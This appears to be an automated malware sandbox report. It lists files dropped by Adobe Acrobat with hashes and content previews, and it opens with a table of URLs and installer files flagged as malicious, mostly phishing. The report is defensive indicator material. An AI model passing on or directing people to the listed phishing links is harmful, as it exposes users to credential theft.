	https://nwcchicago-my.sharepoint.com/:b:/p/jpsanavaitis/EZA36vHeUQxCnJ96O418g94BWiWpCx4SyNTLHION5X1T7g?e=N00DO7	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	https://dinamicconsultores.app.questorpublico.com.br/	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	https://msteams.link/WK80	Get hash	malicious	Phisher	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	https://www.canva.com/design/DAGCxF7mFTo/x_4mk65cpl5G5aJF2UYVbw/view?utm_content=DAGCxF7mFTo&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	Cheater Pro 1.6.0.msi	Get hash	malicious	Unknown	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	Cheat Lab 2.7.2.msi	Get hash	malicious	Unknown	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	https://watsonpropertyllc.formstack.com/forms/staff	Get hash	malicious	Unknown	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	https://znixulyp.com/vGgw6o	Get hash	malicious	HTMLPhisher	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213
	http://www.traininng.com	Get hash	malicious	Unknown	Browse	13.85.23.86 40.127.169.103 40.126.7.35 23.216.69.213

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.184637568022789
Encrypted:	false
SSDEEP:	6:UjFUVKq2PRN2nKuAl9OmbnIFUt8TxNZmw+Tx/kwORN2nKuAl9OmbjLJ:UjucvaHAahFUt8T3/+Tl5JHAaSJ
MD5:	1143D76D29F339B7BEAB81E9AC306C25
SHA1:	4F9D9AD96A08D4A65B22F76E90CA2043ED433FA6
SHA-256:	CF8FCD94851E8F73C9323F439F9AF1477CE669874573A1E9FC747FD0DE3E4EDD
SHA-512:	3782262FA7F16753336BC161BF7FBF68B13BD3C13735574BD459326ABE5E875FCF90E1CE07D5954C50A6EA90861DAAE17DDF1A1D790DC3EC589D1BA5397EDE4E
Malicious:	false
Reputation:	low
Preview:	2024/04/18-23:05:29.305 10d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/04/18-23:05:29.306 10d0 Recovering log #3.2024/04/18-23:05:29.306 10d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.184637568022789
Encrypted:	false
SSDEEP:	6:UjFUVKq2PRN2nKuAl9OmbnIFUt8TxNZmw+Tx/kwORN2nKuAl9OmbjLJ:UjucvaHAahFUt8T3/+Tl5JHAaSJ
MD5:	1143D76D29F339B7BEAB81E9AC306C25
SHA1:	4F9D9AD96A08D4A65B22F76E90CA2043ED433FA6
SHA-256:	CF8FCD94851E8F73C9323F439F9AF1477CE669874573A1E9FC747FD0DE3E4EDD
SHA-512:	3782262FA7F16753336BC161BF7FBF68B13BD3C13735574BD459326ABE5E875FCF90E1CE07D5954C50A6EA90861DAAE17DDF1A1D790DC3EC589D1BA5397EDE4E
Malicious:	false
Reputation:	low
Preview:	2024/04/18-23:05:29.305 10d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/04/18-23:05:29.306 10d0 Recovering log #3.2024/04/18-23:05:29.306 10d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.177873072758614
Encrypted:	false
SSDEEP:	6:UF0q2PRN2nKuAl9Ombzo2jMGIFUt8TFRUZmw+TFdkwORN2nKuAl9Ombzo2jMmLJ:UCvaHAa8uFUt8TI/+TT5JHAa8RJ
MD5:	66D7A6114FED61F73BF0D4ED1025DF75
SHA1:	8665265003196D2BA9D7EE66137F886CCE9B36B0
SHA-256:	6DC8E51E486E1A2B907B8A05A28DEEB5BCD4C4F4C952FFFFA9722069051BEDB0
SHA-512:	C28E16EB7649B08A11FBEB5AFDCA4792E4A7DB123BA6AFC890A0D45FECF8853312E26D5F80D0E57C42A700077BA0668C2E63CB807C5D2BB9DE6B139FE807105D
Malicious:	false
Reputation:	low
Preview:	2024/04/18-23:05:29.191 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/04/18-23:05:29.194 1d20 Recovering log #3.2024/04/18-23:05:29.197 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.177873072758614
Encrypted:	false
SSDEEP:	6:UF0q2PRN2nKuAl9Ombzo2jMGIFUt8TFRUZmw+TFdkwORN2nKuAl9Ombzo2jMmLJ:UCvaHAa8uFUt8TI/+TT5JHAa8RJ
MD5:	66D7A6114FED61F73BF0D4ED1025DF75
SHA1:	8665265003196D2BA9D7EE66137F886CCE9B36B0
SHA-256:	6DC8E51E486E1A2B907B8A05A28DEEB5BCD4C4F4C952FFFFA9722069051BEDB0
SHA-512:	C28E16EB7649B08A11FBEB5AFDCA4792E4A7DB123BA6AFC890A0D45FECF8853312E26D5F80D0E57C42A700077BA0668C2E63CB807C5D2BB9DE6B139FE807105D
Malicious:	false
Reputation:	low
Preview:	2024/04/18-23:05:29.191 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/04/18-23:05:29.194 1d20 Recovering log #3.2024/04/18-23:05:29.197 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7f9ab80d-d600-40fc-b24f-d641b2927b2b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.953858338552356
Encrypted:	false
SSDEEP:	12:YHO8sq/WLksBdOg2H9caq3QYiubrP7E4T3y:YXsRJdMHM3QYhbz7nby
MD5:	4C313FE514B5F4E7E89329630909F8DC
SHA1:	916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
SHA-256:	1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
SHA-512:	1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.953858338552356
Encrypted:	false
SSDEEP:	12:YHO8sq/WLksBdOg2H9caq3QYiubrP7E4T3y:YXsRJdMHM3QYhbz7nby
MD5:	4C313FE514B5F4E7E89329630909F8DC
SHA1:	916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
SHA-256:	1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
SHA-512:	1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF647e51.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.953858338552356
Encrypted:	false
SSDEEP:	12:YHO8sq/WLksBdOg2H9caq3QYiubrP7E4T3y:YXsRJdMHM3QYhbz7nby
MD5:	4C313FE514B5F4E7E89329630909F8DC
SHA1:	916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
SHA-256:	1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
SHA-512:	1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fa4762cc-6385-4bba-a9e3-8befccfa0f3e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	403
Entropy (8bit):	4.974014549610455
Encrypted:	false
SSDEEP:	12:YHO8sqZIQpShsBdOg2HScaq3QYiubrP7E4T3y:YXsFQbdMH93QYhbz7nby
MD5:	85615D06151CA181EE189E8DDB54B836
SHA1:	02871C52DCEF86223A4852AF25ED17B7E96F6042
SHA-256:	5D7FFFF06D52A0FDD9E2C42AC954856790D3D11F5B08F7148BD7CB6F58A4BCB8
SHA-512:	9CE90ED91D12111CB355E7216651E35561DB45A177BBA47163582C6C070B0B8FF309FE011BD6842ACBDC686FD6E7424074E783A7651F2E0476D36E3B383A1A0F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13358034340635514","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":106191},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229932178768627
Encrypted:	false
SSDEEP:	96:OLSw0bSwIAnrRqLX2rSq1OUxu/0OZ0xRBTxekN8xebmlnOK:OLT0bTIeYa51Ogu/0OZARBT8kN88bmlN
MD5:	6370FD087509FE7F3299C4D82B710DBC
SHA1:	ECE66E9430B6AB1F578F3D8CC1F728F6C92B5762
SHA-256:	519B0F2F23736BE88375C24EA2D5300D7EA965BDA15F03B9CAF334EDCEC675FD
SHA-512:	E1DAFAD2349095F0E0B28406211A18BCEE2B650CC49B1ED3C1E5D0925B46DA41ED2A301F01FEE34BFE5AAE7D4C3E1A8651683D36008EB45D604C2AD6A9A1DE28
Malicious:	false
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.187965930251259
Encrypted:	false
SSDEEP:	6:UbOQq2PRN2nKuAl9OmbzNMxIFUt8TXc6hZmw+TXCYrkwORN2nKuAl9OmbzNMFLJ:UbJvaHAa8jFUt8TXcu/+TXRr5JHAa84J
MD5:	8C251927451979CFBDF13C6AAB457EAB
SHA1:	E2126A86AC5270A0C81C477F5A7556DBF6F4AFE9
SHA-256:	BBBEE321508F37E59DC01106D64DB9A2341C4994B9DA804F94E14F6C51A580EE
SHA-512:	A1DB864E8BCB3D8732AAA613A6B56656E6790D51F9C63E36D78B9A58FF3B4B2BF5ECB759B2E71ADA6815371B51188E6536E55B1955C45296A75932BD01815E5D
Malicious:	false
Preview:	2024/04/18-23:05:29.349 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/04/18-23:05:29.351 1d20 Recovering log #3.2024/04/18-23:05:29.353 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.187965930251259
Encrypted:	false
SSDEEP:	6:UbOQq2PRN2nKuAl9OmbzNMxIFUt8TXc6hZmw+TXCYrkwORN2nKuAl9OmbzNMFLJ:UbJvaHAa8jFUt8TXcu/+TXRr5JHAa84J
MD5:	8C251927451979CFBDF13C6AAB457EAB
SHA1:	E2126A86AC5270A0C81C477F5A7556DBF6F4AFE9
SHA-256:	BBBEE321508F37E59DC01106D64DB9A2341C4994B9DA804F94E14F6C51A580EE
SHA-512:	A1DB864E8BCB3D8732AAA613A6B56656E6790D51F9C63E36D78B9A58FF3B4B2BF5ECB759B2E71ADA6815371B51188E6536E55B1955C45296A75932BD01815E5D
Malicious:	false
Preview:	2024/04/18-23:05:29.349 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/04/18-23:05:29.351 1d20 Recovering log #3.2024/04/18-23:05:29.353 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240418210532Z-160.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	1.8233000621412643
Encrypted:	false
SSDEEP:	192:oA/wUzcGFcs2dvONUPHS0P9lmWimwVgGI23IPeM+BQp1rxYY46g7Q1YD3Ti0WYuT:oAZco6oHa83IZdYt7ST
MD5:	A1DB8ED2E4BC41DC215424F3A766ED92
SHA1:	5543630DF9CC90F06CD2D60D101963ADB2FD6415
SHA-256:	4FE4EA1DBF037106C418F7AF1E501F9ADC40EA26D0FA27EE0175A4E95251C04A
SHA-512:	93773CDCD998D965C154CFE1C1D4F6B45BA7E84C3BC4F2FF61A533358D9EC2FF8AF12864C57069FEEB67A70519777108C6B99A11908B3CD05ECC72FE0743819D
Malicious:	false
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:	192:vedRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:veBci5H5FY+EUUUTTcHqFzqFP
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.2154589783773866
Encrypted:	false
SSDEEP:	24:7+tHlWnnqLi+zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mz1:7MHlSnqLmFTIF3XmHjBoGGR+jMz+LhN2
MD5:	603EA1DF5E14CC18A4657B6756A24AC7
SHA1:	101B2831396F61E8DF6B554A8329AA14333E446D
SHA-256:	38FDB9AC19E6E1E76EAB9E4DDA0A156A43FA97B4FF2385EE18795D53B9E2B730
SHA-512:	3018B5A5D770224726F266E04FAA010512A958CA7C759A511B92AB50606BAA9E1C64CAD9C5934D761E76605DC067CC021EAD3666DFA9447B34077230D7C54CE7
Malicious:	false
Preview:	.... .c.....%.6.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369774044669969
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJM3g98kUwPeUkwRe9:YvXKXDDCKdWRuUhU2aVGMbLUkee9
MD5:	84C2C8B4D990A545CEECAEF914BEBA70
SHA1:	A81A9EB93AF17D8FAAC8B55E3D658E917325E393
SHA-256:	532C2E44EE1F2A94A56C220ACA4290C04BBA1D8603EEB55ACB1CEEBE33DB208A
SHA-512:	660DCE8A324B312AC867A70AAA9C06CE12B4F6FB5CF80D5BBF5790D182F7B482AFF74068A746ECF88352DFDF0BFB4FB934AC0BBEDE77D1F4096A552B46C2D556
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.316984819924648
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfBoTfXpnrPeUkwRe9:YvXKXDDCKdWRuUhU2aVGWTfXcUkee9
MD5:	ED63D7CEEDEE528BDA5EBF0418F3A854
SHA1:	4A1E23CF3A7675622E6F63C4B52653A68F24DFBD
SHA-256:	8FC5CA3A79F683CB265CABE6E626FAFE4BA7B758E526531EEB3FD207714EAEF6
SHA-512:	DDDC0520841FBC2A60C67C7BB80C32F458D31AC0AEAECB98AE3252D18D9DB890400957643BD277371EBF6D1F0D33601D97913D2892F42293F001ACB47EA0F3CC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295244315282455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfBD2G6UpnrPeUkwRe9:YvXKXDDCKdWRuUhU2aVGR22cUkee9
MD5:	2403CAD61127DEA156633E132ED35A76
SHA1:	DCF083BD47CB042D1711BB5BF3A9A2643C17B979
SHA-256:	E476A0D5FDD6640CF8B1863B7D3E72559CF73EC8990117BB691091BE33BF274B
SHA-512:	F1BE971EB9AF77CF3E1EA38FB93348C3CF7E252680FFCF75F4F72DA5F1C002DEFAEC501A1F71F35D00808CF40186CF40CB7DAD0D8F4B235C9FD3E5D5A3907E35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358379168791764
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfPmwrPeUkwRe9:YvXKXDDCKdWRuUhU2aVGH56Ukee9
MD5:	7F4285022CDB865EE04E365701B89831
SHA1:	BC26206727C4E09F2142D4A324980198D5C2D425
SHA-256:	DDFBCE41F28E0E214D155679A5D128EF03FA0E868B6C3C6B1BC492ED8AC83012
SHA-512:	B1CD15F5DE59493D17275C2F2674E3DCD948D2865311F89640E0D8065E71E8BF6065A2973D8064978BDF73A2E9607570A97D05FC7CA665B43BDE1EAF2DC5120B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.320835473358908
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfJWCtMdPeUkwRe9:YvXKXDDCKdWRuUhU2aVGBS8Ukee9
MD5:	D36BA771E94A47D657EB4C552494718C
SHA1:	DFC1369A258A8F54F49A3AF617369F3D2DA0630C
SHA-256:	8DA09751FE745A1F99F8DF3E91F4AE2E113767504D8E37B3AFFF1668A41FF3D7
SHA-512:	9921D6763A2AA4FE3988D4817855709A92E108088C215DF06B50F478B3B3BF4A9A87F255C8737F452D662671D2C0681679E12756EE09326D2696D29646285568
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307540558540099
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJf8dPeUkwRe9:YvXKXDDCKdWRuUhU2aVGU8Ukee9
MD5:	9207174233288F9FECE28EAA4B58397A
SHA1:	E66B5E5C3567AB99C4B5FC296AFF0FBEA188C20C
SHA-256:	2F043771673404B16E32AD30B8A0130DBE83517873C9A810E475D3F11DB7EB26
SHA-512:	86F5035843A1EE4603A2B13C6EDF3DE23DF8E39532B8FC51AC5F7CDA6F9C5EBA10F68ED1037B843A03152C9067E5944DBEAB56381A474C3B08E03C5AEAA75F6E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.310406138586451
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDCl9W/F5IRR4UhUR0YK6VeoAvJfQ1rPeUkwRe9:YvXKXDDCKdWRuUhU2aVGY16Ukee9
MD5:	21262BE0E46F8A7E03B7A59CE4A75070
SHA1:	7C99A61574D4078068E1B6454667A3BAAA550ED1
SHA-256:	B8144387A83D4B4A37CAD4623F8F522EFC2A7A31FF003D87F72ED6DEA8457787
SHA-512:	51E673B6C658F812FFA0AD7900EC302503547A3644DB1D5D7653078982270761A37646938F413D6D62123BDCD09CADEE31F73CE2DCE13520F0B58029A1B948AC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9f67f8f3-5346-4fd5-ac08-53823c0e881a","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1713651679186,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317848812339562
Encrypted:	false
